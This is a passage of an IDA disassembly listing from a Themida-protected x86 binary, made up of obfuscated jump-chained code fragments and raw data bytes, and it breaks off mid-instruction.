81474706h, 674629C7h, 0E9DFF760h dd 0FFFF7FCAh, 243CD366h, 5A2DE99Ch, 6852FFFFh, 7521h dd 151CE9h, 2DF00100h, 35FA3111h, 8124348Bh, 4C4h, 4EC8100h dd 0E9000000h, 6443h ; --------------------------------------------------------------------------- loc_54C118: ; CODE XREF: Themida_:00556782j sub ebp, eax pop eax mov edx, ebp mov ebp, [esp] jmp loc_54D2A9 ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 0E954515Ch, 0FFFFD855h ; --------------------------------------------------------------------------- loc_54C130: ; CODE XREF: Themida_:00546A80j mov ebx, edx jmp loc_550514 ; --------------------------------------------------------------------------- loc_54C137: ; CODE XREF: Themida_:0055222Bj push 681Ah mov [esp], edi jmp loc_54D763 ; --------------------------------------------------------------------------- aFiSc db 'f‰<$éC&',0 dd 24348700h, 0E924248Bh, 5201h ; --------------------------------------------------------------------------- loc_54C158: ; CODE XREF: Themida_:00544CBDj pop ebp jmp loc_55006A ; --------------------------------------------------------------------------- aEwso db '¾Ö$ÏeWéŽ#',0 db 0 ; --------------------------------------------------------------------------- loc_54C169: ; CODE XREF: Themida_:0054C71Dj pop edx push eax mov eax, esp push 317Dh mov [esp], ebp mov ebp, 2A3F1457h neg ebp jmp loc_5508EB ; --------------------------------------------------------------------------- db 0F7h, 0D1h, 81h dd 0ECF77BF1h, 59CA2929h, 0FFAE27E9h, 4BB53FFh, 1000000h dd 34875BDEh, 24248B24h, 0E9240431h, 0FFFF5977h, 6C7C07BBh dd 0BE56557Bh, 2ADA0FD3h, 81D6F746h, 0D43E84C6h, 1DEE8116h dd 8166AE74h, 0A48C47C6h, 99B1E9AFh, 6C81FFFFh, 27C0424h dd 6C810B5Ch, 59920424h, 34FF2E5Fh, 2434FF24h, 83240C8Bh dd 24E904C4h, 51FFFF5Ah, 0FC6E9h, 0F3015F00h, 3CC4BE56h dd 0F329078Bh, 24348B5Eh, 8304C483h, 48904ECh, 0D2FEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C212: ; CODE XREF: Themida_:0054D3EBj pop esi pop edi mov dword ptr [edi+20h], 19082CA5h push ebx jmp loc_542381 ; --------------------------------------------------------------------------- db 5Ah, 59h, 0C1h dd 0E28105EAh, 1D9367E6h, 672E9h db 0 ; --------------------------------------------------------------------------- loc_54C231: ; CODE XREF: Themida_:0054F37Dj push ebx mov ebx, 1DC93482h sub eax, ebx pop ebx sub eax, esi add eax, 1DC93482h add eax, 538D612Eh pop esi jmp loc_546582 ; --------------------------------------------------------------------------- dd 4C781h, 3C870000h, 3407E924h, 4050000h, 2D000000h, 4 dd 5C240487h, 54242C89h, 4B8505Dh, 1000000h, 0BE5658C5h dd 4, 1B44E9h, 0BE0F6600h, 14A68C8h, 0C890000h, 4EC8124h dd 89000000h, 3DE92424h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C29B: ; CODE XREF: Themida_:00556503j add edi, 4 push ebx jmp loc_5511B9 ; --------------------------------------------------------------------------- db 52h dd 0DC6E59BAh, 55BB5302h, 2902DC6Eh, 165E9DAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C2BA: ; CODE XREF: Themida_:0054FF12j pop ecx add dh, ch add dh, 8Ch push cx jmp loc_54DEFA ; --------------------------------------------------------------------------- aXzh db 'XZhÊ,',0 align 2 dw 0A9E9h dd 50FFFF8Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop eax push edx mov edx, 5B1076BEh add edx, 0A4EF8946h jmp loc_546333 ; --------------------------------------------------------------------------- loc_54C309: ; CODE XREF: Themida_:0054B0ACj add ebx, 54D35FD3h mov esi, [esp] jmp loc_54817C ; --------------------------------------------------------------------------- loc_54C317: ; CODE XREF: Themida_:00543FD9j jmp loc_541B1F ; --------------------------------------------------------------------------- loc_54C31C: ; CODE XREF: Themida_:00555777j add ecx, 38164076h jmp loc_549641 ; --------------------------------------------------------------------------- loc_54C327: ; CODE XREF: Themida_:0054ECBCj pop esp push 1032h mov [esp], ecx jmp loc_543E26 ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 2Dh dd 5DA3FD1Fh, 0E958C689h, 0FFFF7409h, 54240C89h, 0E9240C8Bh dd 60Eh, 0E95FFE21h, 0FFFFC1F0h, 33241431h, 248B2414h dd 241C8724h, 2404FE5Ch, 57B1E99Ch, 8B5BFFFFh, 0C4832404h dd 66D9F604h, 28C9B050h, 525866C1h, 0F28058B2h, 20EA8073h dd 2C01E9h, 63E95D00h, 59FFFFA3h, 82C1E9h db 0 ; --------------------------------------------------------------------------- loc_54C399: ; CODE XREF: Themida_:00544532j sub esp, 4 mov [esp], eax push 7808h jmp loc_553C63 ; --------------------------------------------------------------------------- loc_54C3AC: ; CODE XREF: Themida_:0054E508j mov edi, [esp] jmp loc_5466D1 ; --------------------------------------------------------------------------- dd 0FCE95053h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C3BB: ; CODE XREF: Themida_:00550863j and eax, 5A0589Ch dec eax add eax, 0FE5FEF6Dh jmp loc_5546A9 ; --------------------------------------------------------------------------- loc_54C3CB: ; CODE XREF: Themida_:0054C5C7j mov [esp], cx push small word ptr [esp+2] mov cx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], esi mov esi, 2 add eax, esi pop esi jmp loc_541DFD ; --------------------------------------------------------------------------- loc_54C3FE: ; CODE XREF: Themida_:00548223j sub esi, ebx add esi, 37757C45h jmp loc_545B64 ; --------------------------------------------------------------------------- db 0C1h dd 0E38108EBh, 40983444h, 2C1CEB81h, 0ABE94A45h, 5B000047h dd 815AD001h, 4ECh, 24148900h, 4BAh, 0A872D00h, 0D02942E4h dd 0E40A8705h, 4875A42h, 24248B24h, 88241C89h, 5BFA88C7h dd 6AE2E958h, 0B2BB0000h, 0E9769100h, 855Ch ; --------------------------------------------------------------------------- loc_54C45C: ; CODE XREF: Themida_:00549F07j pop esp add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 1 and eax, ecx mov ecx, [esp] push ebx push esp pop ebx push edx push ebp mov ebp, 4A1D1BFFh dec ebp jmp loc_5566DC ; --------------------------------------------------------------------------- dd 42F38059h, 80F1E380h, 0E950D1F3h, 19E3h ; --------------------------------------------------------------------------- loc_54C490: ; CODE XREF: Themida_:005482F3j or esi, edi pop edi jmp loc_5562CA ; --------------------------------------------------------------------------- dd 0A8E9DD31h, 29FFFF84h, 242C8BEAh, 9430E9h, 32BB5300h dd 295B0414h, 7C70E9D8h, 0C483FFFFh, 240C3304h, 33240C31h dd 665C240Ch, 9C2424D3h, 0B8AE9h, 0A2E95D00h, 8000003Eh dd 33E917F4h, 51000033h, 852673B9h, 76C9813Fh, 0D11C8C7Dh dd 9C981E9h, 8137E145h, 2C4E4BC9h, 35E9813Bh, 890092F4h dd 0E95159CBh, 0FFFF7955h, 4BA52h, 0D7010000h, 0E924148Bh dd 0FFFFDC0Ah, 5FBA525Dh, 29485D7Ah, 87A0E9D1h, 1487FFFFh dd 7AF5E924h, 0FE680000h, 5A697814h, 835AD309h, 4AE9FFEBh db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C53B: ; CODE XREF: Themida_:005509A2j push 6C956F7Dh mov ebx, [esp] add esp, 4 dec ebx not ebx shl ebx, 8 shl ebx, 7 neg ebx push ebp mov ebp, 0FB60013h sub ebp, 57F78011h xor ebx, ebp mov ebp, [esp] add esp, 4 add eax, 65B83CA4h sub eax, ebx sub eax, 65B83CA4h jmp loc_54D01B ; --------------------------------------------------------------------------- dword_54C57C dd 582434FFh, 2D26E956h, 595F0000h, 0EFC1DFF7h, 0C7814708h ; DATA XREF: Themida_:00541AD4o dd 1F23EA32h, 0E95FFA29h, 9B02h, 0F10032B6h, 775FE9h, 4EC8300h dd 3B44E9h db 0 ; --------------------------------------------------------------------------- loc_54C5AD: ; CODE XREF: Themida_:00552D9Cj add ebp, 4 add ebp, 2 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push small 5070h jmp loc_54C3CB ; --------------------------------------------------------------------------- dd 2EC815Ch, 66000000h, 0B3241C89h, 3BB2529Dh, 83CAF280h dd 48904ECh, 4C2BE924h, 4310000h, 24043324h, 2824248Bh dd 3152E9E8h, 15B0000h, 0CBEE81D6h, 0E94AC00Ah, 6247h dd 5C240C33h, 57C8B60Fh, 30CCE9h db 0 ; --------------------------------------------------------------------------- loc_54C615: ; CODE XREF: Themida_:0054FDE9j sub ecx, 9C76B9Eh pop eax add ebx, ecx pop ecx push edx mov edx, 0 jmp loc_555365 ; --------------------------------------------------------------------------- loc_54C62A: ; CODE XREF: Themida_:005432FAj pop esp pop dword ptr [esp] pop esp jmp loc_549CF1 ; --------------------------------------------------------------------------- dd 0F930EDB7h, 0CB285B66h, 53240C8Bh, 0C381E389h, 4, 8704C383h dd 0F5C241Ch, 6866C0B6h, 0F2E97C7Ah db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C65B: ; CODE XREF: Themida_:00544BD8j add eax, 5DD9674Dh add eax, 6BA33B20h jmp loc_54A779 ; --------------------------------------------------------------------------- loc_54C66A: ; CODE XREF: Themida_:0054388Ej sub esp, 4 mov [esp], ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_54ADFF ; --------------------------------------------------------------------------- db 0FFh dd 0BDE92434h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C68F: ; CODE XREF: Themida_:00552556j neg ebx or ebx, 1C4F19A9h shl ebx, 4 jmp loc_5420C4 ; --------------------------------------------------------------------------- db 54h dd 4C5815Dh, 81000000h, 4C5h, 4D6EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C6B2: ; CODE XREF: Themida_:00551092j not ecx push ebp push 2BCB3DE1h pop ebp push ebx mov ebx, 66050DA0h jmp loc_54F8F1 ; --------------------------------------------------------------------------- dw 0F66h dd 6866CCB6h, 89667EE7h, 0F66240Ch, 5166C8B6h, 5441E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C6DE: ; CODE XREF: Themida_:00544486j add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_555817 ; --------------------------------------------------------------------------- dw 0EA81h dd 4, 5C241487h, 52240489h, 0FFE37CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C705: ; CODE XREF: Themida_:0055118Cj inc edi add edi, 239538EDh xor edi, 0E2CE9669h add ebp, edi pop edi jmp loc_54E824 ; --------------------------------------------------------------------------- loc_54C71A: ; CODE XREF: Themida_:00552EFBj push dword ptr [esp] jmp loc_54C169 ; --------------------------------------------------------------------------- loc_54C722: ; CODE XREF: Themida_:005467D3j sub bl, 0ABh xor cl, bl jmp loc_550E8A ; --------------------------------------------------------------------------- dd 5759CD89h, 0FF74BEE9h, 24348BFFh, 4C481h, 0C330000h dd 240C3124h, 5C240C33h, 242CD366h, 53CDE99Ch, 0C8BFFFFh dd 0E7895724h, 0FF5711E9h, 75ED81FFh, 0C13CDA51h, 0BE5607EDh dd 28246850h, 522DE681h, 0B95138E6h, 55DF466Dh, 0FFF3BDE9h dd 24248BFFh, 2424D366h, 5395E99Ch, 0C280FFFFh, 8BD120F2h dd 0E9522414h, 43FFh ; --------------------------------------------------------------------------- loc_54C798: ; CODE XREF: Themida_:00555CBFj push 58EAh jmp loc_5425E7 ; --------------------------------------------------------------------------- loc_54C7A2: ; CODE XREF: Themida_:005463CBj add esp, 4 push ecx push ebp mov ebp, 5B942CD8h mov ecx, 797D084Ch xor ecx, ebp pop ebp shl ecx, 7 inc ecx shl ecx, 1 shr ecx, 3 push 5A79h mov [esp], edx jmp loc_5466E5 ; --------------------------------------------------------------------------- loc_54C7CA: ; CODE XREF: Themida_:0054F36Dj neg ecx xchg ecx, esi sub esi, 0BAD67FEAh add edx, 7C531AA8h sub edx, esi jmp loc_544147 ; --------------------------------------------------------------------------- db 5Bh, 87h, 14h dd 24248B24h, 24048B66h, 0FF5D54E9h db 0FFh byte_54C7F1 db 64h, 66h, 0Fh ; DATA XREF: Themida_:005419A0o dd 686602B6h, 8966120Ch, 1CE92404h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C803: ; CODE XREF: Themida_:00549747j dec edx shl edx, 3 push ebx mov ebx, 382D3921h add ebx, 67C757D8h xor ebx, 17214643h neg ebx add ebx, 33706275h xor ebx, 0A464F928h or edx, ebx pop ebx dec edx jmp loc_546C0D ; --------------------------------------------------------------------------- dd 0BE243489h, 6A673EDBh, 3ED7EE81h, 222D6A67h, 15DED31h dd 312205F0h, 0B6E95DEDh db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C84F: ; CODE XREF: Themida_:005470E9j xor [esp], edi xor edi, [esp] xor [esp], edi push dword ptr [esp] mov eax, [esp] push edx mov edx, esp add edx, 4 push edi mov edi, 4 jmp loc_5564EB ; --------------------------------------------------------------------------- dw 0D504h dd 0D52CC800h, 240C8B66h, 2C481h, 0C4040000h, 0EC83D828h dd 9DCCE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C88E: ; CODE XREF: Themida_:00548533j sub edx, 115B13C7h jmp loc_5455DC ; --------------------------------------------------------------------------- db 0B9h, 0Dh, 3Ch dd 0FEE97A75h, 81000089h, 304868C2h, 0BD5528h, 81000000h dd 0B4297BEDh, 81D5292Ch, 0B4297BC5h, 0E9EA892Ch, 0FFFFD743h ; --------------------------------------------------------------------------- loc_54C8C4: ; CODE XREF: Themida_:00555AE1j add esp, 4 push ebp push 0 jmp loc_541B2D ; --------------------------------------------------------------------------- loc_54C8D5: ; CODE XREF: Themida_:0054EC0Aj add eax, ecx pop ecx push ecx mov ecx, 4 add eax, ecx jmp loc_548EB0 ; --------------------------------------------------------------------------- db 0B7h, 5Dh, 0C0h dd 0CFFE04E7h, 804FE780h, 0F82812C7h, 0D3E9525Bh, 42FFFF70h dd 0C231D031h, 0E0C1D031h, 0BDF63502h, 0C581A307h, 654934E4h dd 0ED81C501h, 654934E4h, 0FFD46CE9h, 4335FFFh, 24043124h dd 0E9240433h, 0FFFFA69Ch ; --------------------------------------------------------------------------- loc_54C92C: ; CODE XREF: Themida_:0054BCD9j pop eax push esi push 5C5Bh mov [esp], edx mov edx, 40DA3DD2h push eax mov eax, 1D2F539Bh and edx, eax jmp loc_55227F ; --------------------------------------------------------------------------- dd 8C685155h, 0E965DA48h, 0FFFFEBE8h, 0CA2B23BBh, 94ADE915h dd 0C483FFFFh, 4C18104h, 68000000h, 4F86h, 55241C89h, 79BBBDh dd 79BFBB19h, 0F2E91900h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C97F: ; CODE XREF: Themida_:00556146j mov [esp], esi mov esi, 0BD12F1Bh jmp loc_55342D ; --------------------------------------------------------------------------- dd 194F681h, 1CE9CB6Bh db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C997: ; CODE XREF: Themida_:00548303j add eax, 4 xchg eax, [esp] pop esp mov esi, [esp] push edi push esp mov edi, [esp] add esp, 4 push ebp mov ebp, 4 jmp loc_54F168 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 243C8700h, 0FFCDDEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C9C5: ; CODE XREF: Themida_:005511CBj add eax, 4 xchg eax, [esp] pop esp add ebp, 4 add ebp, 4 jmp loc_5514D5 ; --------------------------------------------------------------------------- db 89h dd 575552E0h, 1B17B1BFh, 0A4C7811Ch, 81106774h, 0F25906EFh dd 65E95010h, 8900005Ah, 79E9240Ch, 89000007h, 4C781E7h dd 83000000h, 0E1E904C7h, 5200008Bh, 0C281E289h, 4, 8164E9h dd 241C8B00h, 81E68956h, 4C6h, 4C68300h, 0E9243487h, 0FFFFBAB2h ; --------------------------------------------------------------------------- loc_54CA38: ; CODE XREF: Themida_:00549BE6j add dword ptr [ebx], 1 push dword ptr [esp] jmp loc_542784 ; --------------------------------------------------------------------------- loc_54CA46: ; CODE XREF: Themida_:005486B1j mov [esp], ebx push ecx jmp loc_55016A ; --------------------------------------------------------------------------- loc_54CA4F: ; CODE XREF: Themida_:0054B870j sub esi, edx push ebp mov ebp, 21AD0F3Ch inc ebp or ebp, 30897331h sub ebp, 2A8C781Fh jmp loc_54FD00 ; --------------------------------------------------------------------------- db 0B5h, 0Bh, 0C0h dd 0F2E907EDh, 89FFFFEBh, 4812424h, 424h, 2434FF00h, 0FFF90EE9h db 0FFh aNswl db 'éWl',0 ; DATA XREF: Themida_:00541914o dw 0BE00h dd 14D21265h, 6A89C681h, 0E6D12AC7h, 5B47E681h, 0E6C10D0Eh dd 3E6C106h, 3EDDEE81h, 43E99A5Eh, 29000046h, 2434FFC1h dd 4C48158h, 81000000h, 0ED1702C3h, 81CB0145h, 0ED1702EBh dd 0EB815945h, 55ED3BBFh, 0E2E9FB01h, 68000042h, 0 dd 58240429h, 0F47EE948h, 95BDFFFFh, 0E9427349h, 0FFFF7FDCh dd 28A268h, 241C8900h, 0F8200EB7h, 1BB4E95Bh, 0E9800000h dd 36CC6801h, 4890000h, 0FEAEB024h, 13FCE9C8h, 81460000h dd 0A0011CCEh, 1DEE8117h, 815FAF5Dh, 2D567EC5h, 1F39E936h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CB2E: ; CODE XREF: Themida_:0054FF92j add esp, 4 add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] pop esp or eax, eax jmp loc_54EE05 ; --------------------------------------------------------------------------- db 0B8h dd 207052C3h, 0FFD546E9h, 4E5C1FFh, 0E581D5F7h, 44B07907h dd 4EC81h, 1C890000h, 5103BB24h, 0DD294400h, 83241C8Bh dd 0E95104C4h, 4571h, 0FE0E45BAh, 41F28101h, 101FE0Eh dd 51525AD7h, 3B3BB850h, 4E2D6A32h, 0D6F666Fh, 3CAA40F1h dd 22C9E940h, 4B90000h, 0E9000000h, 5C09h ; --------------------------------------------------------------------------- loc_54CBA4: ; CODE XREF: Themida_:0054A230j mov ecx, esp add ecx, 4 jmp loc_545F7F ; --------------------------------------------------------------------------- loc_54CBB1: ; CODE XREF: Themida_:0054A601j push esi mov esi, 0B9A3D1Bh or esi, 7FF2032Dh jmp loc_555A3B ; --------------------------------------------------------------------------- aBsRSb db 'é(',0Bh,'R',0Dh,'éB ',0 dd 884BB200h, 0FE5A66D4h, 5CE480C4h, 0D077E480h, 0F6CC80ECh dd 885CF480h, 0E8D0E9E5h, 0EC83FFFFh, 240C8904h, 0BB63B368h dd 240C8B25h, 0E904C483h, 9802h, 0E9243C89h, 4259h ; --------------------------------------------------------------------------- loc_54CC08: ; CODE XREF: Themida_:00552330j xor eax, 4AAD9739h mov edx, eax jmp loc_549487 ; --------------------------------------------------------------------------- dd 7DE95552h, 81FFFF96h, 4F4E39C2h, 98CA817Ch, 8100CB43h dd 87DAC5EAh, 5AD029B4h, 2B55BF57h, 75E90763h, 89FFFFD9h dd 3FB568E0h, 1C890000h, 6A02BB24h, 0F3813343h, 78FA323Ah dd 0F702E3C1h, 0DDE953D3h, 81FFFFD9h, 4C3h, 2C38300h, 5C241C87h dd 0F605EDC0h, 4F580D5h, 51EC8850h, 0EA88E588h, 24048B59h dd 4C481h, 80590000h, 0D300C1EBh, 8BC1C380h, 0C4832414h dd 0E9B50404h, 8E24h, 0E9515D50h, 0FFFFC972h, 148BF088h dd 4C48324h, 0FF884BE9h, 0C3815BFFh, 4, 404EBE56h, 0EEC11DE0h dd 0E9DEF703h, 818Ah ; --------------------------------------------------------------------------- loc_54CCC4: ; CODE XREF: Themida_:005452F0j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx pop ebx pop edx sub ebx, 47F9250Ah jmp loc_54C00A ; --------------------------------------------------------------------------- loc_54CCE4: ; CODE XREF: Themida_:00545954j sub ebp, 6C8B5468h jmp loc_551E05 ; --------------------------------------------------------------------------- db 9 dd 504359CBh, 0E9CFD8B8h, 0B8EB8121h, 2959234Fh, 0B8C381C3h dd 5859234Fh, 97EC381h, 0EB813443h, 28CA6C15h, 3CDDE9h dd 2BF00h, 0FA010000h, 2414335Fh, 33241431h, 248B2414h dd 24C96824h, 1C890000h, 0BB24h, 3FE90000h, 89000015h dd 0E389241Ch, 23BF5756h, 0BE7EEF2Ch, 7EEF2C27h, 2EC3EE81h dd 0FE291F12h, 2EC3C681h, 34FF1F12h, 243C8B24h, 4C481h dd 0C4810000h, 4, 8904EC83h, 79B82404h, 573A9630h, 2C2BABBFh dd 0D5CE908h, 895C0000h, 9BE9240Ch, 81000086h, 0EB6E3CCFh dd 1C78131h, 0E9000000h, 0FFFF5CBFh ; --------------------------------------------------------------------------- loc_54CDA0: ; CODE XREF: Themida_:0054376Cj xor edi, ebp push ebp push edx mov ebp, [esp] add esp, 4 mov edx, [esp] add esp, 4 push 1D86h mov [esp], edx xchg ecx, [esp] not ecx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_542871 ; --------------------------------------------------------------------------- dd 1DE2C381h, 0D9E97B05h, 6600008Fh, 662433BFh, 2ECAC781h dd 0F5E78166h, 0EF816650h, 0F76602A8h, 0C78166D7h, 4AE9A280h dd 0FF000074h, 0E9042474h, 0FFFF8A5Ah ; --------------------------------------------------------------------------- loc_54CE08: ; CODE XREF: Themida_:0054534Aj sub edi, 6E5A4DA6h add edi, ecx add edi, 6E5A4DA6h mov ecx, [esp] jmp loc_555789 ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0C1830000h, 240C8704h, 0E924248Bh, 0FFFF4CEBh ; --------------------------------------------------------------------------- loc_54CE34: ; CODE XREF: Themida_:00548FDCj push ecx mov ecx, esp jmp loc_54B2DF ; --------------------------------------------------------------------------- dd 7EF5E952h, 0C181FFFFh, 2D777A04h, 2959CD01h, 28ED81C5h dd 582DC07Ah, 42FED81h, 93E90384h db 6Ch, 2 dup(0) byte_54CE5F db 0FFh ; DATA XREF: Themida_:00541A30o dd 0C8B2434h, 4C48124h, 68000000h, 62F4h, 0FF71C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CE75: ; CODE XREF: Themida_:00555E21j mov esi, 68E3E8Ch push ebp mov ebp, 64C874BDh inc ebp dec ebp jmp loc_546039 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 240C8700h, 6A16E9h, 0E9DEF600h, 9358h dword_54CE9C dd 76A5E9ADh, 2E68FFFFh, 89000025h, 4B9240Ch, 29000000h ; DATA XREF: Themida_:00541858o dd 87E959CDh, 5BFFFF7Ch, 0E904C183h, 0FFFFD22Ah, 68243C89h dd 7FAF7AF7h, 0C3BB535Fh, 81750379h, 0A3FD12C3h, 5BDF3191h dd 86042B05h, 278F057Bh, 0F9E942E9h, 89FFFF96h, 0DCE92434h dd 81FFFFAAh, 0FA0431C3h, 148B665Bh, 8D66E924h, 0DAF7FFFFh dd 0EAC1DAF7h, 39EA8108h, 31CABB13h, 0C8895AD1h, 0E92434FFh dd 0FFFF8DF9h, 53B8E950h, 0EC810000h, 2, 240C8966h, 12454F6h dd 240C8B66h, 0E902C483h, 56D2h, 2414F751h, 5E1C159h, 0B922F181h dd 0B9E97A1Bh db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CF4B: ; CODE XREF: Themida_:00555D50j mov esi, esp push edx jmp loc_54F0E9 ; --------------------------------------------------------------------------- loc_54CF53: ; CODE XREF: Themida_:00547FF5j mov esp, [esp] jmp loc_5502A9 ; --------------------------------------------------------------------------- db 89h dd 6CE92414h, 0D1000090h, 21C381E3h, 319A8E09h, 0F2015BDEh dd 71B6E95Eh, 489FFFFh, 2474FF24h, 24048B04h, 4C481h, 48F0000h dd 4BE95C24h, 0FEFFFFD6h, 53070CC8h, 0CB806AB3h, 94C380B0h dd 0F6FAEB80h, 80CBFED3h, 0D820E1EBh, 0FFCB6BE9h, 56E389FFh dd 72E8B850h, 0EAE944F2h, 29000017h, 815891C8h, 80408CF1h dd 59C8899Dh, 69E4C581h, 0C5016025h, 69E4ED81h, 1586025h dd 3C875DEFh, 34FF5C24h, 64685924h, 8900000Dh, 1768243Ch dd 89000041h, 4832424h, 0CAE90424h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CFFB: ; CODE XREF: Themida_:0055473Aj push 2DEEh mov [esp], eax push esp mov eax, [esp] add esp, 4 push ebp mov ebp, 56956046h shr ebp, 4 jmp loc_549BA1 ; --------------------------------------------------------------------------- loc_54D01B: ; CODE XREF: Themida_:0054C577j mov ebx, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ax jmp loc_541B1F ; --------------------------------------------------------------------------- loc_54D033: ; CODE XREF: Themida_:0054949Aj push ecx mov ecx, 10C651CCh sub edi, ecx pop ecx sub edx, edi pop edi jmp loc_554549 ; --------------------------------------------------------------------------- loc_54D044: ; CODE XREF: Themida_:0054F9EEj push eax mov eax, 2C834E0Eh and eax, 155A7F9Bh shl eax, 2 jmp loc_54D110 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF4AC3h ; --------------------------------------------------------------------------- loc_54D05C: ; CODE XREF: Themida_:00545393j sub ebx, 4E682FDFh sub ebx, 0DED50B7h push 4004h mov [esp], eax mov eax, 50FC1B3Ch sub ebx, eax mov eax, [esp] add esp, 4 mov eax, [esp] push ecx push esp pop ecx jmp loc_55660F ; --------------------------------------------------------------------------- db 56h dd 23D16857h, 815F2556h, 0F4164E7h, 4EFC158h, 4734E9h dd 4EC8100h, 0E9000000h, 0FFFFB46Bh dword_54D0AC dd 24048B66h, 3A1D68h, 24048900h, 81E68956h, 4C6h, 4EE8300h ; DATA XREF: Themida_:00541980o dd 0FFF084E9h, 151705FFh, 210572C1h, 0FF792936h, 815F2434h dd 4C4h, 0CC202D00h, 0C3810056h, 74A527E5h, 1408BE56h dd 0EB8105EEh, 53FA4D69h, 0C381F301h, 53FA4D69h, 51EB815Eh dd 1584937h, 0B7BD55C3h, 0E96F993Ch, 0FFFFD0CAh ; --------------------------------------------------------------------------- loc_54D110: ; CODE XREF: Themida_:0054D052j shr eax, 8 shr eax, 1 sub eax, 576B781Ah jmp loc_54E572 ; --------------------------------------------------------------------------- db 81h dd 6C2A68E9h, 0B9685E03h, 89000074h, 8B54240Ch, 1E9240Ch dd 59000084h, 0F814EE81h, 0F08965C2h, 836AE95Eh, 0F681FFFFh dd 50326040h, 0E9F28952h, 0FFFF627Ch ; --------------------------------------------------------------------------- loc_54D154: ; CODE XREF: Themida_:005442F3j xor [esp], esi xor esi, [esp] jmp loc_550780 ; --------------------------------------------------------------------------- db 83h dd 0DBF704C4h, 20E568h, 240C8900h, 7C068BB9h, 85E18160h dd 0E9019B52h, 0FFFFA7F1h, 0E67170B9h, 0CCB95178h, 89A6CE9Ch dd 0C4E959CBh, 5AFFFFEBh, 4EC81h, 4890000h, 5585424h, 4 dd 4EC8153h, 0E9000000h, 8F06h, 6CE930FFh, 29FFFF49h, 20E95EF7h dd 0B9FFFF93h, 385D6DAAh, 5786F181h, 0BD551886h, 6F4D4123h dd 4503E5C1h, 0E9D5F74Dh, 0FFFFE89Ch, 2474FF52h, 48F5A04h dd 0C895C24h, 4935E924h, 0A92DFFFFh, 2D5A4B20h, 8B25A04h dd 0FF74B9E9h, 0E68956FFh, 2E30BF57h, 0CF876023h, 597CE9h dd 37E94900h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D20F: ; CODE XREF: Themida_:00549E25j sub edi, 0AF2A7A80h mov [edx+38h], edi push dword ptr [esp] pop edi sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push eax mov eax, 4 sub ecx, eax mov eax, [esp] jmp loc_5491C6 ; --------------------------------------------------------------------------- loc_54D23D: ; CODE XREF: Themida_:00550744j add esp, 4 jmp loc_55524B ; --------------------------------------------------------------------------- aZ4Ws_ db '‡4$\Wé.#',0 dw 5E00h dd 31240433h, 4332404h, 24248B24h, 4B30F66h, 0B8E99C24h dd 89FFFF48h, 4832424h, 815B0424h, 4C3h, 4C38300h, 31241C33h dd 1C33241Ch, 24248B24h, 1268E1F7h, 8900005Ch, 1CE92414h dd 51000089h, 0F7243487h, 243487DEh, 0FFD0F1E9h, 241489FFh dd 0FFD5A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D2A9: ; CODE XREF: Themida_:0054C120j push edi mov edi, esp jmp loc_54217E ; --------------------------------------------------------------------------- db 29h, 0FDh, 5Fh dd 27C8ED81h, 0F50125E1h, 27C8C581h, 0C58125E1h, 49BD582Eh dd 2FFFE9h, 9EEF8100h, 29E90066h, 0C8B5FFDh, 4C48124h dd 68000000h, 15F3h, 0FF242C89h, 5D042474h, 8B24048Fh dd 0FF662424h, 0E99C240Ch, 0FFFF4823h ; --------------------------------------------------------------------------- loc_54D2FC: ; CODE XREF: Themida_:0054BB0Cj add esp, 4 and ecx, ebx push dword ptr [esp] pop ebx push 71FFh jmp loc_551F52 ; --------------------------------------------------------------------------- dw 0B6BBh dd 8132E604h, 0C25616C7h, 52DF2951h, 0EA3CD9BAh, 0C2814A1Ah dd 36D8193Eh, 5B5AD729h, 0FFDF73E9h, 0EF381FFh, 81163F6Bh dd 63C6E3F3h, 0DE8956D8h, 0E95EF289h, 3266h, 7320BE56h dd 0E6C133B4h, 0F7EED108h, 81D6F7DEh, 398FFFF6h, 5EF1895Ah dd 12F2E9h db 0 ; --------------------------------------------------------------------------- loc_54D369: ; CODE XREF: Themida_:0054346Dj add edx, 